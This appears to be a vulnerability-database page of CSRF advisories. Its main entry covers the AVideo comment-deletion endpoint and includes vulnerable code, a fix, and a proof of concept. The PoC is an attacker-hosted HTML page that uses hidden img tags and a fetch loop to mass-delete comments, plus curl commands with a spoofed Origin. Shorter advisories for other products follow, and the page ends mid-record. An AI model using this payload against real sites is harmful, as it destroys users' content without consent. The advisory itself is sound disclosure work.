CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14228 vulnerabilities reference this CWE, most recent first.
GHSA-8QM8-G55H-XMQR
Vulnerability from github – Published: 2026-04-14 23:13 – Updated: 2026-04-24 20:32Summary
objects/commentDelete.json.php is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call forbidIfIsUntrustedRequest(), does not verify a CSRF/global token, and does not check Origin/Referer. Because AVideo intentionally sets session.cookie_samesite=None (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's PHPSESSID. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.
Details
Vulnerable endpoint: objects/commentDelete.json.php
// objects/commentDelete.json.php:1-35
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';
$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_REQUEST['id']); // <-- GET or POST
$obj->status = false;
if (empty($obj->id)) {
$obj->id = intval(@$_REQUEST['comments_id']);
}
if (empty($obj->id)) {
$obj->msg = __("ID can not be empty");
die(_json_encode($obj));
}
$objC = new Comment("", 0, $obj->id);
$obj->videos_id = $objC->getVideos_id();
$obj->status = $objC->delete(); // <-- destructive action, no CSRF check
...
No forbidIfIsUntrustedRequest(), no verifyToken(), no token/nonce parameter, no Origin/Referer validation. The handler accepts $_REQUEST, so the request may be delivered as GET (e.g. via <img src>) or POST (e.g. via an auto-submitting form / fetch).
Authorization inside Comment::delete() does not stop CSRF
// objects/comment.php:147-159
public function delete() {
if (!self::userCanAdminComment($this->id)) {
return false;
}
...
$sql = "DELETE FROM comments WHERE id = ?";
...
return sqlDAL::writeSql($sql, "i", [$this->id]);
}
// objects/comment.php:316-332
public static function userCanAdminComment($comments_id) {
if (!User::isLogged()) { return false; }
if (Permissions::canAdminComment()) { return true; } // site moderator
$obj = new Comment("", 0, $comments_id);
if ($obj->users_id == User::getId()) { return true; } // comment owner
$video = new Video("", "", $obj->videos_id);
if ($video->getUsers_id() == User::getId()) { return true; } // video owner
return false;
}
This check is exactly what CSRF abuses: it asks "is the session user allowed to delete this comment?" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request.
Site-wide cookie policy makes cross-site delivery reliable
// objects/include_config.php:139-146
if ($isHTTPS) {
// SameSite=None is intentional: AVideo supports cross-origin iframe embedding
// where users must stay authenticated (e.g. video players on third-party sites).
// Setting Lax would break that use case. All state-mutating endpoints that are
// vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
The in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. commentDelete.json.php forgets to apply it. The canonical example that does get it right is objects/userUpdate.json.php:18:
// objects/userUpdate.json.php:13-18
if (!User::isLogged()) {
$obj->msg = __("Is not logged");
die(json_encode($obj));
}
forbidIfIsUntrustedRequest(); // <-- what commentDelete.json.php is missing
A repository-wide grep for forbidIfIsUntrustedRequest yields only objects/userUpdate.json.php and the function definition itself — no shared middleware exists, and no bootstrap in configuration.php / include_config.php wraps endpoints with a CSRF check.
Attacker model / victim value
- Site moderators (any account with
Permissions::canAdminComment()): full-site comment deletion oracle. - Video creators (channel owners): deletion oracle for every comment on their own videos.
- Comment authors: only their own comments (self-DoS, low value).
The first two classes make this a real integrity/availability attack on community content.
PoC
Assume the target AVideo instance runs at https://victim.example.com and the victim is a logged-in moderator (or any video owner). The attacker hosts:
<!-- https://attacker.example/mass-delete.html -->
<!doctype html>
<html><body>
<h1>Cute kittens</h1>
<!-- GET variant (works because the endpoint uses $_REQUEST): -->
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=1" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=2" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=3" style="display:none">
<!-- ... up to N -->
<!-- POST variant (same result, reaches the POST code path the legit UI uses): -->
<script>
for (let i = 1; i <= 10000; i++) {
fetch("https://victim.example.com/objects/commentDelete.json.php", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "comments_id=" + i
});
}
</script>
</body></html>
Manual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token):
# 1. Log in as a moderator and capture PHPSESSID
curl -c cookies.txt -d 'user=moderator&pass=pass' \
https://victim.example.com/objects/userLogin.json.php
# 2. Call the endpoint with nothing but the session cookie and a comments_id.
# No CSRF token, no Referer/Origin matching the site.
curl -b cookies.txt \
-H 'Origin: https://attacker.example' \
-H 'Referer: https://attacker.example/mass-delete.html' \
'https://victim.example.com/objects/commentDelete.json.php?comments_id=1'
# -> {"error":false,"msg":"","id":1,"status":true,"videos_id":...}
The {"status":true,"error":false} response confirms the row was deleted; compare with objects/userUpdate.json.php under the same Origin/Referer, which returns the "Invalid Request" forbidden page from forbidIfIsUntrustedRequest().
Impact
- Cross-site mass deletion of comments.
- Against a site moderator (
Permissions::canAdminComment()), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer. - Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).
- The attack only requires luring a logged-in victim to any page that can fetch/embed/submit — a forum post, a compromised ad, a link in email, a rogue embed.
- No credential compromise is required; the attack does not leak data, but it destroys it.
- Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.
Recommended Fix
Apply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate:
- Require an authenticated session and reject untrusted-origin requests (same treatment as
userUpdate.json.php). - Restrict the method to
POSTso drive-by<img>and navigationalGETdeliveries cannot reach the sink.
// objects/commentDelete.json.php
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';
// --- added CSRF defense ---
if (!User::isLogged()) {
die(_json_encode((object)['error' => true, 'msg' => __('Is not logged')]));
}
forbidIfIsUntrustedRequest(); // Referer/Origin gate
if ($_SERVER['REQUEST_METHOD'] !== 'POST') { // no $_REQUEST drive-by
die(_json_encode((object)['error' => true, 'msg' => 'POST required']));
}
// --- end added ---
$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_POST['id']);
$obj->status = false;
if (empty($obj->id)) {
$obj->id = intval(@$_POST['comments_id']);
}
...
Stronger (recommended): also require a short-lived global token via verifyToken() as the in-source comment in objects/include_config.php prescribes, and audit every other objects/*.json.php handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces forbidIfIsUntrustedRequest() for any json.php that mutates state.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40929"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:13:08Z",
"nvd_published_at": "2026-04-21T23:16:20Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`objects/commentDelete.json.php` is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call `forbidIfIsUntrustedRequest()`, does not verify a CSRF/global token, and does not check `Origin`/`Referer`. Because AVideo intentionally sets `session.cookie_samesite=None` (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim\u0027s `PHPSESSID`. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.\n\n## Details\n\n### Vulnerable endpoint: `objects/commentDelete.json.php`\n\n```php\n// objects/commentDelete.json.php:1-35\n\u003c?php\nheader(\u0027Content-Type: application/json\u0027);\nglobal $global, $config;\nif (!isset($global[\u0027systemRootPath\u0027])) {\n require_once \u0027../videos/configuration.php\u0027;\n}\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/comment.php\u0027;\n\n$obj = new stdClass();\n$obj-\u003eerror = true;\n$obj-\u003emsg = \u0027\u0027;\n$obj-\u003eid = intval(@$_REQUEST[\u0027id\u0027]); // \u003c-- GET or POST\n$obj-\u003estatus = false;\n\nif (empty($obj-\u003eid)) {\n $obj-\u003eid = intval(@$_REQUEST[\u0027comments_id\u0027]);\n}\n\nif (empty($obj-\u003eid)) {\n $obj-\u003emsg = __(\"ID can not be empty\");\n die(_json_encode($obj));\n}\n\n$objC = new Comment(\"\", 0, $obj-\u003eid);\n$obj-\u003evideos_id = $objC-\u003egetVideos_id();\n$obj-\u003estatus = $objC-\u003edelete(); // \u003c-- destructive action, no CSRF check\n...\n```\n\nNo `forbidIfIsUntrustedRequest()`, no `verifyToken()`, no token/nonce parameter, no `Origin`/`Referer` validation. The handler accepts `$_REQUEST`, so the request may be delivered as `GET` (e.g. via `\u003cimg src\u003e`) or `POST` (e.g. via an auto-submitting form / `fetch`).\n\n### Authorization inside `Comment::delete()` does not stop CSRF\n\n```php\n// objects/comment.php:147-159\npublic function delete() {\n if (!self::userCanAdminComment($this-\u003eid)) {\n return false;\n }\n ...\n $sql = \"DELETE FROM comments WHERE id = ?\";\n ...\n return sqlDAL::writeSql($sql, \"i\", [$this-\u003eid]);\n}\n\n// objects/comment.php:316-332\npublic static function userCanAdminComment($comments_id) {\n if (!User::isLogged()) { return false; }\n if (Permissions::canAdminComment()) { return true; } // site moderator\n $obj = new Comment(\"\", 0, $comments_id);\n if ($obj-\u003eusers_id == User::getId()) { return true; } // comment owner\n $video = new Video(\"\", \"\", $obj-\u003evideos_id);\n if ($video-\u003egetUsers_id() == User::getId()) { return true; } // video owner\n return false;\n}\n```\n\nThis check is exactly what CSRF abuses: it asks \"is the session user allowed to delete this comment?\" In a CSRF attack, the session user is the victim, and yes \u2014 the victim is allowed. So the check grants the request.\n\n### Site-wide cookie policy makes cross-site delivery reliable\n\n```php\n// objects/include_config.php:139-146\nif ($isHTTPS) {\n // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n // where users must stay authenticated (e.g. video players on third-party sites).\n // Setting Lax would break that use case. All state-mutating endpoints that are\n // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\n ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThe in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. `commentDelete.json.php` forgets to apply it. The canonical example that does get it right is `objects/userUpdate.json.php:18`:\n\n```php\n// objects/userUpdate.json.php:13-18\nif (!User::isLogged()) {\n $obj-\u003emsg = __(\"Is not logged\");\n die(json_encode($obj));\n}\n\nforbidIfIsUntrustedRequest(); // \u003c-- what commentDelete.json.php is missing\n```\n\nA repository-wide grep for `forbidIfIsUntrustedRequest` yields only `objects/userUpdate.json.php` and the function definition itself \u2014 no shared middleware exists, and no bootstrap in `configuration.php` / `include_config.php` wraps endpoints with a CSRF check.\n\n### Attacker model / victim value\n\n- **Site moderators** (any account with `Permissions::canAdminComment()`): full-site comment deletion oracle.\n- **Video creators** (channel owners): deletion oracle for every comment on their own videos.\n- **Comment authors**: only their own comments (self-DoS, low value).\n\nThe first two classes make this a real integrity/availability attack on community content.\n\n## PoC\n\nAssume the target AVideo instance runs at `https://victim.example.com` and the victim is a logged-in moderator (or any video owner). The attacker hosts:\n\n```html\n\u003c!-- https://attacker.example/mass-delete.html --\u003e\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003ch1\u003eCute kittens\u003c/h1\u003e\n\u003c!-- GET variant (works because the endpoint uses $_REQUEST): --\u003e\n\u003cimg src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=1\" style=\"display:none\"\u003e\n\u003cimg src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=2\" style=\"display:none\"\u003e\n\u003cimg src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=3\" style=\"display:none\"\u003e\n\u003c!-- ... up to N --\u003e\n\n\u003c!-- POST variant (same result, reaches the POST code path the legit UI uses): --\u003e\n\u003cscript\u003e\nfor (let i = 1; i \u003c= 10000; i++) {\n fetch(\"https://victim.example.com/objects/commentDelete.json.php\", {\n method: \"POST\",\n credentials: \"include\",\n headers: {\"Content-Type\": \"application/x-www-form-urlencoded\"},\n body: \"comments_id=\" + i\n });\n}\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nManual verification of the server-side handler with the victim\u0027s own cookie (demonstrates that the endpoint itself performs the delete with no token):\n\n```bash\n# 1. Log in as a moderator and capture PHPSESSID\ncurl -c cookies.txt -d \u0027user=moderator\u0026pass=pass\u0027 \\\n https://victim.example.com/objects/userLogin.json.php\n\n# 2. Call the endpoint with nothing but the session cookie and a comments_id.\n# No CSRF token, no Referer/Origin matching the site.\ncurl -b cookies.txt \\\n -H \u0027Origin: https://attacker.example\u0027 \\\n -H \u0027Referer: https://attacker.example/mass-delete.html\u0027 \\\n \u0027https://victim.example.com/objects/commentDelete.json.php?comments_id=1\u0027\n# -\u003e {\"error\":false,\"msg\":\"\",\"id\":1,\"status\":true,\"videos_id\":...}\n```\n\nThe `{\"status\":true,\"error\":false}` response confirms the row was deleted; compare with `objects/userUpdate.json.php` under the same Origin/Referer, which returns the \"Invalid Request\" forbidden page from `forbidIfIsUntrustedRequest()`.\n\n## Impact\n\n- Cross-site mass deletion of comments.\n- Against a site moderator (`Permissions::canAdminComment()`), the attacker can permanently delete every comment on the platform \u2014 a severe content-integrity and availability hit on the community layer.\n- Against any channel owner, the attacker can wipe all discussion under that creator\u0027s videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).\n- The attack only requires luring a logged-in victim to any page that can fetch/embed/submit \u2014 a forum post, a compromised ad, a link in email, a rogue embed.\n- No credential compromise is required; the attack does not leak data, but it destroys it.\n- Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.\n\n## Recommended Fix\n\nApply the project\u0027s own prescribed CSRF pattern to the handler. Two layers are appropriate:\n\n1. Require an authenticated session and reject untrusted-origin requests (same treatment as `userUpdate.json.php`).\n2. Restrict the method to `POST` so drive-by `\u003cimg\u003e` and navigational `GET` deliveries cannot reach the sink.\n\n```php\n// objects/commentDelete.json.php\n\u003c?php\nheader(\u0027Content-Type: application/json\u0027);\nglobal $global, $config;\nif (!isset($global[\u0027systemRootPath\u0027])) {\n require_once \u0027../videos/configuration.php\u0027;\n}\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/comment.php\u0027;\n\n// --- added CSRF defense ---\nif (!User::isLogged()) {\n die(_json_encode((object)[\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e __(\u0027Is not logged\u0027)]));\n}\nforbidIfIsUntrustedRequest(); // Referer/Origin gate\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] !== \u0027POST\u0027) { // no $_REQUEST drive-by\n die(_json_encode((object)[\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e \u0027POST required\u0027]));\n}\n// --- end added ---\n\n$obj = new stdClass();\n$obj-\u003eerror = true;\n$obj-\u003emsg = \u0027\u0027;\n$obj-\u003eid = intval(@$_POST[\u0027id\u0027]);\n$obj-\u003estatus = false;\n\nif (empty($obj-\u003eid)) {\n $obj-\u003eid = intval(@$_POST[\u0027comments_id\u0027]);\n}\n...\n```\n\nStronger (recommended): also require a short-lived global token via `verifyToken()` as the in-source comment in `objects/include_config.php` prescribes, and audit every other `objects/*.json.php` handler that performs a write \u2014 the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces `forbidIfIsUntrustedRequest()` for any `json.php` that mutates state.",
"id": "GHSA-8qm8-g55h-xmqr",
"modified": "2026-04-24T20:32:38Z",
"published": "2026-04-14T23:13:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8qm8-g55h-xmqr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40929"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/184f36b1896f3364f864f17c1acca3dd8df3af27"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo is missing CSRF protection in objects/commentDelete.json.php enables mass comment deletion against moderators and content creators"
}
GHSA-8QMF-PWHH-PHX8
Vulnerability from github – Published: 2022-05-17 03:11 – Updated: 2022-05-17 03:11Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160 on Windows and OS X and before 11.2.202.466 on Linux, Adobe AIR before 18.0.0.144 on Windows and before 18.0.0.143 on OS X and Android, Adobe AIR SDK before 18.0.0.144 on Windows and before 18.0.0.143 on OS X, and Adobe AIR SDK & Compiler before 18.0.0.144 on Windows and before 18.0.0.143 on OS X allow remote attackers to bypass a CVE-2014-5333 protection mechanism via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2015-3096"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-06-10T01:59:00Z",
"severity": "MODERATE"
},
"details": "Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160 on Windows and OS X and before 11.2.202.466 on Linux, Adobe AIR before 18.0.0.144 on Windows and before 18.0.0.143 on OS X and Android, Adobe AIR SDK before 18.0.0.144 on Windows and before 18.0.0.143 on OS X, and Adobe AIR SDK \u0026 Compiler before 18.0.0.144 on Windows and before 18.0.0.143 on OS X allow remote attackers to bypass a CVE-2014-5333 protection mechanism via unspecified vectors.",
"id": "GHSA-8qmf-pwhh-phx8",
"modified": "2022-05-17T03:11:57Z",
"published": "2022-05-17T03:11:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3096"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/flash-player/apsb15-11.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201506-01"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00005.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00009.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00011.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1086.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/75088"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1032519"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8QMP-RPJ6-V84X
Vulnerability from github – Published: 2024-03-18 09:30 – Updated: 2024-10-31 21:31Cross-site request forgery vulnerability in FUJIFILM printers which implement CentreWare Internet Services or Internet Services allows a remote unauthenticated attacker to alter user information. In the case the user is an administrator, the settings such as the administrator's ID, password, etc. may be altered. As for the details of affected product names, model numbers, and versions, refer to the information provided by the vendor listed under [References].
{
"affected": [],
"aliases": [
"CVE-2024-27974"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-18T08:15:06Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery vulnerability in FUJIFILM printers which implement CentreWare Internet Services or Internet Services allows a remote unauthenticated attacker to alter user information. In the case the user is an administrator, the settings such as the administrator\u0027s ID, password, etc. may be altered. As for the details of affected product names, model numbers, and versions, refer to the information provided by the vendor listed under [References].",
"id": "GHSA-8qmp-rpj6-v84x",
"modified": "2024-10-31T21:31:44Z",
"published": "2024-03-18T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27974"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN34328023"
},
{
"type": "WEB",
"url": "https://www.fujifilm.com/fbglobal/eng/company/news/notice/2024/0306_1_announce.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8QMX-Q6VC-F5MV
Vulnerability from github – Published: 2022-05-14 01:14 – Updated: 2022-05-14 01:14JioFi 4G M2S 1.0.2 devices have CSRF via the SSID name and Security Key field under Edit Wi-Fi Settings (aka a SetWiFi_Setting request to cgi-bin/qcmap_web_cgi).
{
"affected": [],
"aliases": [
"CVE-2019-7440"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-21T16:01:00Z",
"severity": "MODERATE"
},
"details": "JioFi 4G M2S 1.0.2 devices have CSRF via the SSID name and Security Key field under Edit Wi-Fi Settings (aka a SetWiFi_Setting request to cgi-bin/qcmap_web_cgi).",
"id": "GHSA-8qmx-q6vc-f5mv",
"modified": "2022-05-14T01:14:04Z",
"published": "2022-05-14T01:14:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7440"
},
{
"type": "WEB",
"url": "https://gkaim.com/cve-2019-7440-vikas-chaudhary"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46633"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/152361/JioFi-4G-M2S-1.0.2-Cross-Site-Request-Forgery.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8QQF-PPFV-5M7W
Vulnerability from github – Published: 2023-04-06 15:30 – Updated: 2023-04-12 21:30Cross-Site Request Forgery (CSRF) vulnerability in HasThemes Really Simple Google Tag Manager plugin <= 1.0.6 versions.
{
"affected": [],
"aliases": [
"CVE-2023-23801"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-06T13:15:00Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in HasThemes Really Simple Google Tag Manager plugin \u003c= 1.0.6 versions.",
"id": "GHSA-8qqf-ppfv-5m7w",
"modified": "2023-04-12T21:30:20Z",
"published": "2023-04-06T15:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23801"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/really-simple-google-tag-manager/wordpress-really-simple-google-tag-manager-plugin-1-0-6-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8QR4-5P8P-5524
Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-16 00:00Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in RD Station plugin <= 5.1.3 at WordPress.
{
"affected": [],
"aliases": [
"CVE-2022-38139"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-13T14:15:00Z",
"severity": "HIGH"
},
"details": "Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in RD Station plugin \u003c= 5.1.3 at WordPress.",
"id": "GHSA-8qr4-5p8p-5524",
"modified": "2022-09-16T00:00:31Z",
"published": "2022-09-14T00:00:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38139"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/integracao-rd-station/wordpress-rd-station-plugin-5-1-3-multiple-cross-site-request-forgery-csrf-vulnerabilities"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/integracao-rd-station/wordpress-rd-station-plugin-5-1-3-multiple-cross-site-request-forgery-csrf-vulnerabilities?_s_id=cve"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/integracao-rd-station"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8QRW-8HX5-VG32
Vulnerability from github – Published: 2025-02-24 15:30 – Updated: 2026-04-01 18:33Cross-Site Request Forgery (CSRF) vulnerability in josesan WooCommerce Recargo de Equivalencia allows Cross Site Request Forgery. This issue affects WooCommerce Recargo de Equivalencia: from n/a through 1.6.24.
{
"affected": [],
"aliases": [
"CVE-2025-27342"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-24T15:15:19Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in josesan WooCommerce Recargo de Equivalencia allows Cross Site Request Forgery. This issue affects WooCommerce Recargo de Equivalencia: from n/a through 1.6.24.",
"id": "GHSA-8qrw-8hx5-vg32",
"modified": "2026-04-01T18:33:48Z",
"published": "2025-02-24T15:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27342"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/woo-recargo-de-equivalencia/vulnerability/wordpress-woocommerce-recargo-de-equivalencia-plugin-1-6-24-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8QRW-CF25-JHQC
Vulnerability from github – Published: 2022-05-17 01:27 – Updated: 2022-05-17 01:27Cross-site request forgery (CSRF) vulnerability in IBM InfoSphere Information Server Metadata Workbench 8.1 through 9.1 allows remote attackers to hijack the authentication of arbitrary users.
{
"affected": [],
"aliases": [
"CVE-2014-0933"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-05-16T11:12:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in IBM InfoSphere Information Server Metadata Workbench 8.1 through 9.1 allows remote attackers to hijack the authentication of arbitrary users.",
"id": "GHSA-8qrw-cf25-jhqc",
"modified": "2022-05-17T01:27:37Z",
"published": "2022-05-17T01:27:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0933"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/92273"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1JR49605"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21671141"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8QRX-89CF-RX47
Vulnerability from github – Published: 2025-05-07 15:31 – Updated: 2026-04-01 18:35Cross-Site Request Forgery (CSRF) vulnerability in qusupport LiveAgent allows Cross Site Request Forgery. This issue affects LiveAgent: from n/a through 4.4.7.
{
"affected": [],
"aliases": [
"CVE-2025-47667"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T15:16:19Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in qusupport LiveAgent allows Cross Site Request Forgery. This issue affects LiveAgent: from n/a through 4.4.7.",
"id": "GHSA-8qrx-89cf-rx47",
"modified": "2026-04-01T18:35:04Z",
"published": "2025-05-07T15:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47667"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/liveagent/vulnerability/wordpress-liveagent-4-4-7-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8QV6-FPQJ-69WV
Vulnerability from github – Published: 2022-08-23 00:00 – Updated: 2022-08-24 00:00The Yotpo Reviews for WooCommerce WordPress plugin through 2.0.4 lacks nonce check when updating its settings, which could allow attacker to make a logged in admin change them via a CSRF attack.
{
"affected": [],
"aliases": [
"CVE-2022-2555"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-22T15:15:00Z",
"severity": "MODERATE"
},
"details": "The Yotpo Reviews for WooCommerce WordPress plugin through 2.0.4 lacks nonce check when updating its settings, which could allow attacker to make a logged in admin change them via a CSRF attack.",
"id": "GHSA-8qv6-fpqj-69wv",
"modified": "2022-08-24T00:00:28Z",
"published": "2022-08-23T00:00:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2555"
},
{
"type": "WEB",
